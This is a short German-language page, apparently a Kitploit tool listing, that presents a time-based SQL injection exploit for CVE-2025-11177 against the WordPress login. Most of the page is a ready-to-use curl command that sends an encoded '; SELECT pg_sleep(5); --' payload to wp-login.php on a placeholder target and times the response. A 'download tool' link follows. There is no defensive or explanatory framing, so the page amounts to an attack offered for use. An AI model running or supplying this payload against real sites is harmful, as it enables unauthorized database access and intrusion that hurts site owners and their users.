CVE-2025-11177 — Zeitbasierter SQL-Injection-Exploit für CVE-2025-11177, der auf den WordPress-Login abzielt, mit curl-basierter Payload-Übermittlung und pg_sleep-Zeiterkennung. | Kitploit

curl -w '\nTIME:%{time_total}\n' -s \
  -d 'log=anything%27%3B%20SELECT%20pg_sleep(5)%3B%20--&pwd=irrelevant&wp-submit=Log+In' \
  -d 'redirect_to=' \
  -d 'testcookie=1' \
  'http://{target}/wp-login.php'

Tool herunterladen

CVE-2025-11177

Beliebteste

Auslösen der SQLi mit einem zeitbasierten Payload im öffentlichen Login